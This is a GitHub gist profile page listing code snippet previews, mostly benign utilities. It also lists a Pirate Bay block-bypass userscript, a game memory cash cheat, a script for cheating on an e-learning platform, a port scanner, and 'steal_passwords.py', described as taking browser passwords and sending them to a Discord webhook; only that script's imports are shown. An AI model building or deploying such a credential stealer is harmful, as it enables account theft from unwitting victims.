Skip to content

Instantly share code, notes, and snippets.

View Auax's full-sized avatar
🌎
Around da world

Auax Auax

🌎
Around da world
View GitHub Profile
@Auax
Auax / mergesort.py
Created November 24, 2024 12:25
Merge sort algorithm implementation in Python
def mergesort(array: list):
"""
Sorts an array in ascending order using the merge sort algorithm.
The array is recursively split into two halves until each half contains a single element.
Then, these halves are merged back together in sorted order using the `merge` function.
Parameters
----------
array : list
@Auax
Auax / roulette.py
Created October 21, 2024 09:14
Python european roulette script to test strategies. Change the simulate_strategy() method for creating your own strategies. Note this code is not really finished, it's just a side project I made that can be used as for inspiration for another finished project.
import random
import sys
from typing import List, Dict, Union
class InsufficientFunds(Exception):
pass
class Options:
@Auax
Auax / thepiratebay_bypass_block.js
Last active July 5, 2023 12:38
Userscript to automatically bypass imposed blocks to thepiratebay.org website by redirecting you to a CroxyProxy url. Use tampermonkey or greasemonkey to add this userscript!
// ==UserScript==
// @name ThePirateBay-Block-Redirect
// @namespace http://tampermonkey.net/
// @version 0.1
// @description If The Pirate Bay is blocked in your country, launch a croxyproxy instance and bypass it!
// @author Auax
// @match https://thepiratebay.org/
// @icon https://www.google.com/s2/favicons?sz=64&domain=thepiratebay.org
// @grant GM_xmlhttpRequest
// ==/UserScript==
@Auax
Auax / TempEmailGenerator.py
Created April 27, 2023 18:09
Temp email generator class with the `api.mail.gw` API.
import re
import string
import random
import requests
def username_gen(length=24, chars=string.ascii_letters + string.digits):
return ''.join(random.choice(chars) for _ in range(length))
@Auax
Auax / bloons_cash.py
Last active December 9, 2022 19:55
Game cash cheat for BloonsTD6 v.33
import pymem
import pymem.process
PROC_NAME = "BloonsTD6.exe"
MOD_NAME = "GameAssembly.dll"
BASE_OFFSET = 0x02AE9538
CASH_OFFSET = [0x1D8, 0x2B8, 0x18, 0x30, 0x10, 0x20]
def read_offsets(pm_instance, base, offsets):
@Auax
Auax / tauri_icon_gen.py
Created July 25, 2022 20:28
Automatically generate all different icons from a base image for a Tauri Application. It also creates the .ico and .icns files for both Windows and macOS.
"""
Generate icons for a Tauri Application
----------------------
By Ibai Farina
For correct functionality, the base logo should be 512x512 or larger (keeping the aspect ratio).
"""
__title__ = 'Tauri Icon Generator'
__author__ = 'Ibai Farina'
__license__ = 'MIT'
@Auax
Auax / AsyncRequests.py
Created April 24, 2022 19:27
Base File to send AIOHTTP Asynchronus requests using Python 3
import asyncio
import json
import time
from pystyle import Colors, Colorate
from typing import Dict, Any, List, Tuple
from aiohttp import ClientSession
from yarl import URL
@Auax
Auax / blinklearning-hack-searchbar-version.js
Last active May 31, 2023 18:33
Blinklearning hack for browsers with neither the console enabled nor extensions.
/* Weird code to access the iframe and its variables as this code
is intended to run in the 'javascript:' context in the search bar.
Used in Chromebook with both dev console and extensions blocked :) */
function run_() {
/* Get iframe's document and window (to access the variables of its context) */
const iframe_ = document.getElementById("class_iframe");
const iWindow = iframe_.contentWindow;
const iDocument = iWindow.document;
/* Get all correction buttons */
let els = iDocument.querySelectorAll(".js-correct, .js-save");
@Auax
Auax / portscanner.py
Created February 23, 2022 21:47
Scan ports with Python
import socket
import sys
import threading
import colorama
import tqdm
open_ports = []
ip = "192.168.1.1" # Type here the IP you want to scan. I will use 192.168.1.1 as an example
@Auax
Auax / steal_passwords.py
Created January 22, 2022 00:48
Steal Chrome, Opera, and Brave passwords in Windows, macOS, and Linux systems. Send the passwords to a Discord webhook by setting the URL in line 14. Educational purposes only.
import getpass
import logging
import os
import platform
import sys
from os.path import join
import requests.exceptions
from discord_webhook import DiscordWebhook
from passax.chrome import browsers